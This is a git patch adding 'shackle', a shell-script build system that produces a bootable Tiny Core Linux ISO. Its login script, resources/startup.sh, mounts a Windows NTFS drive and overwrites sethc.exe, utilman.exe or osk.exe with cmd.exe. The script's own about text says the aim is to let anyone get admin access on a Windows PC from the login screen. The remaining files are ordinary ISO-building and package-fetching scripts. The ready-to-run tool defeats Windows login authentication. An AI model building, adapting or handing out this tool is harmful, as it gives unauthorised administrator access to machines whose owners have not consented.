From df9fabd9eb86d2e5bbbc25c487cd8b6310b2bd65 Mon Sep 17 00:00:00 2001 From: notfire Date: Mon, 28 Oct 2024 16:40:24 -0400 Subject: [PATCH] shackle but better --- .gitignore | 8 + README.md | 12 + build_x86.sh | 10 + build_x86_64.sh | 10 + fetch_isos.sh | 11 + resources/FetchExt.sh | 497 ++++++++++++++++++++++++++++++++++++++++ resources/build_main.sh | 87 +++++++ resources/isolinux.cfg | 6 + resources/startup.sh | 159 +++++++++++++ 9 files changed, 800 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100755 build_x86.sh create mode 100755 build_x86_64.sh create mode 100755 fetch_isos.sh create mode 100755 resources/FetchExt.sh create mode 100755 resources/build_main.sh create mode 100644 resources/isolinux.cfg create mode 100755 resources/startup.sh diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d2e40f3 --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +iso/ +resources/*.tcz +resources/*.dep +resources/*.md5.txt +resources/Log.txt +resources/info.lst +resources/Dependency.list +resources/squashfs-root/ \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..58dccf6 --- /dev/null +++ b/README.md @@ -0,0 +1,12 @@ +# shackle +a tool to build super small linux isos for quick tasks (using the sethc.exe bug as an example) + +## building instructions +1. download the original isos: `./fetch_isos.sh` +2. build for your arch (ex: x86_64): `./build_x86_64.sh` +3. output iso will be in `iso/` + +## customization +you can change settings in the build scripts. the most important thing you can change is extensions, probably. make sure it's a package that's in tinycore and put that in the extensions bit + +`resources/startup.sh` is what gets executed at startup, so modify it to your liking. \ No newline at end of file diff --git a/build_x86.sh b/build_x86.sh new file mode 100755 index 0000000..ac76160 --- /dev/null +++ b/build_x86.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +export ARCH="x86" +export tinyCoreVer="15.x" +export extensions="ntfs-3g util-linux" +export origISO="Core-current.iso" + +export TC=$tinyCoreVer + +./resources/build_main.sh \ No newline at end of file diff --git a/build_x86_64.sh b/build_x86_64.sh new file mode 100755 index 0000000..60ae654 --- /dev/null +++ b/build_x86_64.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +export ARCH="x86_64" +export tinyCoreVer="15.x" +export extensions="ntfs-3g util-linux" +export origISO="CorePure64-current.iso" + +export TC=$tinyCoreVer + +./resources/build_main.sh \ No newline at end of file diff --git a/fetch_isos.sh b/fetch_isos.sh new file mode 100755 index 0000000..6e3c494 --- /dev/null +++ b/fetch_isos.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# depends: +# - wget + +tinyCoreVer="15.x" + +mkdir -p iso/ +cd iso/ +wget "http://www.tinycorelinux.net/$tinyCoreVer/x86_64/release/CorePure64-current.iso" +wget "http://www.tinycorelinux.net/$tinyCoreVer/x86/release/Core-current.iso" \ No newline at end of file diff --git a/resources/FetchExt.sh b/resources/FetchExt.sh new file mode 100755 index 0000000..c6a04f5 --- /dev/null +++ b/resources/FetchExt.sh @@ -0,0 +1,497 @@ +#!/bin/sh +# Script to download an extension and its dependencies written by Richard A. Rost July 7,2019 +# Special thanks go out to GNUser for his time and effort spent testing and providing +# helpful suggestions and feedback. +# +# The script downloads to the directory you are in when you start the script. +# There are no Tinycore specific commands, variables, or directories required so it should work +# on any Linux box. +# Some error checking is done, though it might not be as thorough as it should be. +# The script downloads the .tcz, .tcz.dep, and .tcz.md5.txt files for each extension. +# MD5 is verified. +# File ownership is changed to tc:staff. +# A running timestamped log is kept in ./Log.txt +# ./Dependency.list is a sorted .tree file with duplicates removed of the last extension downloaded. +# +# Usage: +# +# FetchExt.sh ExtensionName ExtensionName ExtensionName +# Fetches the extension(s) and its dependencies. ExtensionName is +# case sensitive. Including .tcz is optional. +# +# FetchExt.sh info Fetches the list of available extensions in the listed repository +# and displays it using less in a new terminal. +# +# +# --------------------------------- Change Log --------------------------------- # +# Version None Jul 7,2019 +# Initial release. +# Version 0.2 Apr 3.2022 +# Added version numbers. +# You can now specify multiple extensions in one command. +# It no longer matters whether or not you include .tcz in the extension name. +# When multiple kernel versions of an extension exist, they all get fetched. +# The operating system will use the correct extension and the user does +# not need to spend time typing incorrect version strings. +# Changed #!/bin/bash to #!/bin/sh. Not sure why it was bash, hope nothing breaks. +# Major cleanup. Some code moved into functions. Logic changes. More comments added. +# Replaced excess screen output with dots to indicate progress. ./Log.txt has history. +# +# Version 0.3 Apr 7.2022 +# Added UserID to User variables. Thank you GNUser +# Added sudo handling. Thank you GNUser +# Created separate function to change file ownership attributes. Thank you GNUser +# Changed == and != to -eq and -ne for integer comparisions. Thank you GNUser +# Added Usage message. +# +# Version 0.4 Apr 8.2022 +# Changed echo -e to multiple echo commands for systems that don't support -e. Thank you GNUser +# +# Version 0.5 Apr 9.2022 +# Added some messages at end of script to inform user of status. +# Added UpdateLog() to write to log file and set variables when DATE or Error: +# messages get written. +# +# ------------------------------------------------------------------------------ # +# + +# ------------------------------ Define Variables ------------------------------ # +# User variables *************************************************************** + +# Website to download from. +ADDR="http://repo.tinycorelinux.net" + +# Tinycore version. Versions always end in .x , there are no minor version digits. +#TC="13.x" + +# Processor architecture, current options are x86 x86_64 armv6 armv7 armv7l aarch64 +#ARCH="x86" + +# User that should own the downloaded files. UID of the default tc user is 1001. +# If you use the "user=somebody" boot code you may prefer UserID 1000 (but 1001 would still work). +UserID=1000 + +# End of user variables ******************************************************** + + +# Program variables start here. Do not touch. ********************************** + +# This is the repository the extensions get downloaded from. +URL="$ADDR/$TC/$ARCH/tcz/" + +# This is a running log of all downloads +Log="Log.txt" + +# REGEX for finding kernel version strings. Set by BuildVersionsList() +# Used by BuildVersionsList() and BuildDependencyList(). +KString="" + +# List of all extensions in repository. Used to create a list of available +# kernel versions. +InfoFile="info.lst" + +# File containing list of available kernel versions in the current repository. +VersionsList="Versions.list" + +# Maximum age of info.lst in seconds before it is considered to be stale and +# needs to be redownloaded. +MaxAge=3600 + +# Name of each extension to be processed. +ExtName="" + +# Processed copy of extension.tcz.tree. It has been sorted and duplicate entries +# are removed. Kernel module entries have been updated to include all kernel +# versions available from the current repository. +DependencyList="Dependency.list" + +# This is the user ID you are currently running as. +WhoIam=`id -u` + +# Tells ChangeOwnership() whether it needs sudo for chown command. +UseSudo="No" + +# Gets set if user wants to view $InfoFile or $Log +ViewFile="" + +# Provides feedback to the user when the script runs to completion. OK or Error. +ExitMessage="OK" + +# Timestamp of extension tree currently being processed. +TimeStamp="" + +# Timestamp of when the first error of this session shows up in Log. +ErrorTime="" + +# -------------------------------- End Variables ------------------------------- # + + +# ------------------------------ Define Functions ------------------------------ # + +BuildDependencyList() +{ +# This uses the .tree file and the $VersionsList file to build +# a complete dependency list of the extension being processed. + +TmpFile="Extension.tmp" +rm -f "$DependencyList" + +# awk '$1=$1' removes all whitespace, sort -u sorts alphabetically and removes duplicate entries. +awk '$1=$1' $ExtName.tree | sort -u > $TmpFile +# Replace -kernelversion.tcz with -KERNEL.tcz +sed -i -E 's|'$KString'|-KERNEL.tcz|g' $TmpFile + +for E in `cat $TmpFile` +do + case $E in + *-KERNEL.tcz) # Kernel module extensions are handled here. + # Strip off -KERNEL.tcz from end of extension name. + E=${E%\-KERNEL.tcz} + for V in `cat $VersionsList` + do + # Create an entry for each kernel version listed in this repository. + echo $E$V >> $DependencyList + done + ;; + *) # Regular extensions are handled here. + echo $E >> $DependencyList + ;; + esac +done + +rm -f "$TmpFile" +rm -f "$ExtName.tree" +} + + +BuildVersionsList() +{ +# Scans the info.lst file to create a list of available kernel versions. +# for this repository. + +case $ARCH in + # REGEX notes: + # First - is escaped so it's not treated as an option by grep. + # Wildcard needs to be preceded with a period like this: .* + + x86*) # REGEX for finding Intel kernel strings. + KString="\-[0-9]+.[0-9]+.[0-9]+-tinycore.*.tcz" + ;; + armv*|aarch*) # REGEX for finding ARM kernel strings. + KString="\-[0-9]+.[0-9]+.[0-9]+-piCore.*.tcz" + ;; + *) echo "Invalid architecture specified." + Cleanup 1 + ;; +esac + +# Searches for -kernelversion.tcz and prints only the part of a line that matches -kernelversion.tcz. +grep -oE $KString $InfoFile > Versions.tmp +# awk '$1=$1' removes all whitespace, sort -u sorts alphabetically and removes duplicate entries. +awk '$1=$1' Versions.tmp | sort -u > $VersionsList + +rm -f Versions.tmp +} + + +ChangeOwnership() +{ +# Change User:Group attributes of a file. +# +# $1 File to change. +# $2 Optional, user ID to use in place of the default. +# +# Numeric values used because foreign Linux box won't have tc:staff. + +# Default ID to use. +UseID=$UserID +# Test if an alternate ID was passed in. +[ -n "$2" ] && UseID=$2 + +if [ "$UseSudo" = "Yes" ] +then + sudo chown $UseID:50 "$1" +else + chown $UseID:50 "$1" +fi +} + + +CheckSudo() +{ +# Make sure we can run without user interaction. +if [ `id -u` -ne 0 ] +then + # User is not root. + UseSudo="Yes" + sudo -nv > /dev/null 2>&1 + if [ $? -ne 0 ] + then + # sudo either requires a password or does not exist. + echo "You must run $0 as root on this system." + # This is the only time you should exit directly. + # Use Cleanup() everywhere else. + exit 1 + fi +fi + +# Make sure the current user can modify/access these files if they exist. +[ -f "$InfoFile" ] && ChangeOwnership "$InfoFile" "$WhoIam" +[ -f "$Log" ] && ChangeOwnership "$Log" "$WhoIam" +[ -f "$DependencyList" ] && ChangeOwnership "$DependencyList" "$WhoIam" +} + + +Cleanup() +{ +# Every exit point except CheckSudo() should pass through here. +# Make sure the end user ($UserID) can modify/access these files if they exist. +[ -f "$InfoFile" ] && ChangeOwnership "$InfoFile" +[ -f "$Log" ] && ChangeOwnership "$Log" +[ -f "$DependencyList" ] && ChangeOwnership "$DependencyList" + +# Remove unneeded files. +rm -f "$VersionsList" + +exit $1 +} + + +FetchTreeFile() +{ +# Remove previous copy of file if it exists so that wget doesn't create numbered backups. +rm -f "$ExtName.tree" + +Tree="$URL$ExtName.tree" +wget -q "$Tree" > /dev/null 2>&1 +if [ $? -ne 0 ] +then + wget -q --spider "$URL$ExtName" > /dev/null 2>&1 # No .tcz.tree found, check for .tcz + if [ $? -eq 0 ] + then # Extension exists but has no dependencies so create a tree file. + echo "$ExtName" > "$ExtName.tree" + else + # Extension does not exist, log an error. + # Update the log file with newline, timestamp, URL, extension name being processed. + UpdateLog "" + UpdateLog "DATE" + UpdateLog "$URL" + UpdateLog " Error: Processing $ExtName failed." + # Setting this to an empty string informs the caller an error occurred. + ExtName="" + fi +fi +} + + +RefreshInfoList() +{ +# This downloads a fresh copy of info.lst if any of the following are true: +# 1. The file is not in the current directory. +# 2. The file is older than 1 hour (3600 seconds). +# 3. This script has been modified and is newer than info.lst. + +# Make sure info.lst exists. +if [ -f "$InfoFile" ] +then + # Compute number of seconds since this script modified (edited). + ThisScript=$(( $(date +%s) - $(date -r "$0" +%s) )) + # Compute number of seconds since info.list modified (downloaded). + Age=$(( $(date +%s) - $(date -r "$InfoFile" +%s) )) + if [ $Age -lt $ThisScript ] + then + # info.lst is more recent than this script, no need to update. + if [ $Age -lt $MaxAge ] + then + # File is recent enough to use. + return + fi + fi + # File is too old, delete it. + rm -f "$InfoFile" +fi +# Fetch a fresh copy of the file. +wget -q "$URL$InfoFile" +if [ $? -ne 0 ] +then + echo "Download failed for: $URL$InfoFile" + Cleanup 1 +fi +} + + +UpdateLog() +{ +Message="$1" + +case "$Message" in + " Error:"*) + if [ "$ErrorTime" = "" ] + then + # These get set the first time an Error: message gets sent. + # They get used at the end of the script prior to exiting. + ErrorTime="$TimeStamp" + ExitMessage="One or more errors occurred. See $Log after timestamp:" + fi + ;; + + "DATE") + TimeStamp="`date`" + Message="$TimeStamp" + ;; +esac + +echo "$Message" >> $Log + +} + + +Usage() +{ + +echo " Usage: + + $0 ExtensionName ExtensionName ExtensionName + Fetches the extension(s) and its dependencies. + ExtensionName is case sensitive. + Including .tcz is optional. + + $0 info Fetches the list of available extensions in the + listed repository and displays it using less in + a new terminal. + + $0 Log Displays the Log.txt file (if it exists) using less + in a new terminal. + + Please see the User variables section of this script for + setting the version and architecture you will download for." + +Cleanup 1 +} + +# -------------------------------- End Functions ------------------------------- # + + +# ----------------------------- Program starts here ---------------------------- # + +# User failed to request an extension, info or Log. +[ $# -eq 0 ] && Usage + +# See if user is requesting -h or --help, or wants to view info or Log. +case "$1" in + -*) Usage;; + info) ViewFile="$InfoFile";; + Log) ViewFile="$Log";; +esac + +# Make sure we don't need passwords for sudo. +CheckSudo + +# See if we need a newer copy of info.lst. +RefreshInfoList + +# First see if the user wants to look through $InfoFile or $Log. +# Make sure the string is not zero length. +if [ -n "$ViewFile" ] +then + # Make sure the file exists. + if [ -f "$ViewFile" ] + then # Display the $ViewFile in a terminal using the less command. + xterm +tr +sb -T "$ViewFile" -e less "$ViewFile" & + Cleanup 0 + else + echo "$ViewFile not found." + Cleanup 1 + fi +fi + +# Create list of available kernel versions in the current repository. +BuildVersionsList + +# Process extensions requested one at a time. +for ExtName in $@ +do + # Sanitize ExtName so we can accept extension or extension.tcz for input. + # Inside the braces removes .tcz if it exists. The .tcz at the end appends .tcz. + ExtName="${ExtName%.tcz}.tcz" + + FetchTreeFile + # If an error occurred, we continue by skipping this extension. + if [ -z "$ExtName" ] + then + continue + fi + + # Process the .tree file and the $VersionsList file to build + # a complete dependency list. + BuildDependencyList + + # Update the log file with newline, timestamp, URL, extension name being processed. + UpdateLog "" + UpdateLog "DATE" + UpdateLog "$URL" + UpdateLog "Processing $ExtName" + + # Download the extension and all of its dependencies. + for Entry in `cat $DependencyList` + do + # Visual feedback so user knows something is happening. + echo -n "." + + # See if extension already exists. + if [ -f "$Entry" ] + then + UpdateLog "$Entry already downloaded." + continue + fi + + # Fetch extension. + wget -q "$URL$Entry" > /dev/null 2>&1 + if [ $? -ne 0 ] + then + UpdateLog " Error: $Entry download failed." + else + UpdateLog "$Entry downloaded." + ChangeOwnership "$Entry" + fi + + # Fetch dependency file if one exists. + wget -q "$URL$Entry.dep" > /dev/null 2>&1 + if [ $? -eq 0 ] + then + UpdateLog "$Entry.dep downloaded." + ChangeOwnership "$Entry.dep" + fi + + # Fetch MD5. + wget -q "$URL$Entry.md5.txt" > /dev/null 2>&1 + if [ $? -ne 0 ] + then + UpdateLog " Error: $Entry.md5.txt download failed." + # No point in verifying the MD5. + continue + else + UpdateLog "$Entry.md5.txt downloaded." + ChangeOwnership "$Entry.md5.txt" + fi + + # Verify MD5. + md5sum -c "$Entry.md5.txt" > /dev/null 2>&1 + if [ $? -ne 0 ] + then + UpdateLog " Error: $Entry md5 checksum failed." + fi + + done + +done + +echo "." + +# ExitMessage contains either OK or an error message. If it contains +# an error message, ErrorTime will be set to the time of the first error. +echo "$ExitMessage" +[ -n "$ErrorTime" ] && echo "$ErrorTime" +echo + +Cleanup 0 diff --git a/resources/build_main.sh b/resources/build_main.sh new file mode 100755 index 0000000..28ab170 --- /dev/null +++ b/resources/build_main.sh @@ -0,0 +1,87 @@ +#!/bin/bash +# +# depends: +# - cdrtools (for mkisofs) +# - syslinux (for isohybrid) +# - p7zip (extracting the iso) +# - cpio (for creating the cpio file) +# - squashfs-tools (for extracting the tcz files) + +if [ "$ARCH" == "x86_64" ]; then + export gz_file="corepure64" + sed -i 's/vmlinuz/vmlinuz64/g' resources/isolinux.cfg + sed -i 's/core.gz/corepure64.gz/g' resources/isolinux.cfg +else + export gz_file="core" +fi + +# take use of timeout +sudo true + +# extract our iso +printf "extracting $origISO..." +7z x iso/$origISO -oisoext > /dev/null +echo "done" + +# get extensions +printf "downloading extensions..." +cd resources +sudo -E ./FetchExt.sh $extensions > /dev/null +cd .. +echo "done" + +# extract $gz_file.gz +printf "extracting $gz_file.gz..." +mv isoext/boot/$gz_file.gz . +mkdir coreext +cd coreext +zcat ../$gz_file.gz | sudo cpio -i -H newc -d --quiet +cd .. +echo "done" + +# extract extensions +printf "extracting extensions..." +cd resources +for tcztoext in *.tcz; do + unsquashfs -q -n -f $tcztoext +done +echo "done" + +# inject extensions to core and inject a script to run at login +printf "injecting extensions and login script..." +sudo cp -r squashfs-root/* ../coreext/ +cd ../coreext/ +sudo cp ../resources/startup.sh etc/profile.d/startup.sh +echo "done" + +# compile new core.gz +printf "creating new $gz_file.gz..." +sudo rm ../$gz_file.gz +sudo find | sudo cpio -o -H newc --quiet | gzip -11 > ../$gz_file.gz +cd ../isoext/ +sudo mv ../$gz_file.gz boot/$gz_file.gz +cd .. +echo "done" + +# remove boot menu and force directly booting +printf "removing boot menu..." +rm isoext/boot/isolinux/boot.msg isoext/boot/isolinux/f2 isoext/boot/isolinux/f3 isoext/boot/isolinux/f4 +cp resources/isolinux.cfg isoext/boot/isolinux/isolinux.cfg +echo "done" + +# make our new iso +printf "creating iso..." +mkisofs -l -J -R -V shackle -quiet -no-emul-boot -boot-load-size 4 -boot-info-table -b boot/isolinux/isolinux.bin -c boot/isolinux/boot.cat -o iso/shackle_$ARCH.iso isoext +isohybrid -o 64 iso/shackle_$ARCH.iso +echo "done" + +# clean up +cd resources/ +rm -r *.tcz *.dep *.md5.txt Log.txt info.lst Dependency.list squashfs-root/ +cd .. +sudo rm -r isoext/ coreext/ + +if [ "$ARCH" == "x86_64" ]; then + sed -i 's/vmlinuz64/vmlinuz/g' resources/isolinux.cfg + sed -i 's/corepure64.gz/core.gz/g' resources/isolinux.cfg +fi \ No newline at end of file diff --git a/resources/isolinux.cfg b/resources/isolinux.cfg new file mode 100644 index 0000000..21c53f1 --- /dev/null +++ b/resources/isolinux.cfg @@ -0,0 +1,6 @@ +default microcore +label microcore + kernel /boot/vmlinuz + initrd /boot/core.gz + append loglevel=3 +prompt 0 \ No newline at end of file diff --git a/resources/startup.sh b/resources/startup.sh new file mode 100755 index 0000000..8046705 --- /dev/null +++ b/resources/startup.sh @@ -0,0 +1,159 @@ +inject() { + clear + printf "what exe should be replaced?\n(1) sethc.exe\n(2) utilman.exe\n(3) osk.exe\n(4) go back\n" + read -p "> " option + + if [[ "$option" == "1" ]]; then + exe="sethc" + elif [[ $option == "2" ]]; then + exe="Utilman" + elif [[ $option == "3" ]]; then + exe="osk" + elif [[ $option == "4" ]]; then + return + else + echo "invalid option. returning..." + sleep 2 + return + fi + + clear + echo "!!!!!IMPORTANT!!!!!" + echo "write out the drive that you want to inject shackle into (ex: /dev/sda1)" + echo "if you fuck this up then its not my fault." + echo "here's a list of drives. pick the right one!" + echo "-----------" + lsblk --noheadings --list --paths --output name,size -I 8 + echo "-----------" + read -p "> " drive + + #if [[ "$drives" =~ "$drive" ]]; then + # echo "this drive does not exist or is not a windows drive. returning..." + # sleep 2 + # return + #fi + + clear + echo "mounting..." + mkdir /mnt/win + sudo ntfs-3g $drive /mnt/win + + if [ -f /mnt/win/Windows/System32/$exe\_o.exe ]; then + echo "file already exists! returning..." + sudo umount /mnt/win + sudo rm -r /mnt/win + sleep 2 + return + fi + + if [ ! -e /mnt/win/Windows/System32/cmd.exe ]; then + echo "cmd does not exist! returning..." + sudo umount /mnt/win + sudo rm -r /mnt/win + sleep 2 + return + fi + + echo "injecting..." + sudo cp /mnt/win/Windows/System32/$exe.exe /mnt/win/Windows/System32/$exe\_o.exe + sudo cp /mnt/win/Windows/System32/cmd.exe /mnt/win/Windows/System32/$exe.exe + + echo "unmounting..." + sudo umount /mnt/win + sudo rm -r /mnt/win + + echo "done! returning..." + sleep 2 + return +} + +revert() { + clear + printf "what exe should be reverted?\n(1) sethc.exe\n(2) utilman.exe\n(3) osk.exe\n(4) go back\n" + read -p "> " option + + if [[ "$option" == "1" ]]; then + exe="sethc" + elif [[ $option == "2" ]]; then + exe="Utilman" + elif [[ $option == "3" ]]; then + exe="osk" + elif [[ $option == "4" ]]; then + return + else + echo "invalid option. returning..." + sleep 2 + return + fi + + clear + echo "!!!!!IMPORTANT!!!!!" + echo "write out the drive that you want to remove shackle from (ex: /dev/sda1)" + echo "if you fuck this up then its not my fault." + echo "here's a list of drives. pick the right one!" + echo "-----------" + lsblk --noheadings --list --paths --output name,size -I 8 + echo "-----------" + read -p "> " drive + + #if [[ "$drives" =~ "$drive" ]]; then + # echo "this drive does not exist or is not a windows drive. returning..." + # sleep 2 + # return + #fi + + clear + echo "mounting..." + mkdir /mnt/win + sudo ntfs-3g $drive /mnt/win + + if [ ! -e /mnt/win/Windows/System32/$exe\_o.exe ]; then + echo "file doesn't exist! returning..." + sudo umount /mnt/win + sudo rm -r /mnt/win + sleep 2 + return + fi + + echo "reverting..." + sudo mv /mnt/win/Windows/System32/$exe\_o.exe /mnt/win/Windows/System32/$exe.exe + + echo "umounting..." + sudo umount /mnt/win + sudo rm -r /mnt/win + + echo "done! returning..." + sleep 2 + return +} + +about() { + echo "this is a build of linux that is intended to replace an exe that is accessible from the" + echo "login screen in order to allow anyone to get admin access on a windows pc." + echo "here are all of the exe's that can be replaces:" + echo "- sethc.exe (sticky keys)" + echo "- utilman.exe (ease of access)" + echo "- osk.exe (on screen keyboard)" + echo "press enter to return!" + read + return +} + +while true; do + clear + printf "welcome to shackle! :)\n(1) inject\n(2) revert\n(3) shell\n(4) about\n(5) exit\n" + read -p "> " option + case "$option" in + 1) inject ;; + 2) revert ;; + 3) ash ;; + 4) about ;; + 5) break ;; + *) echo "invalid option" ;; + esac + printf "\n" +done + +echo "rebooting..." +reboot +exit \ No newline at end of file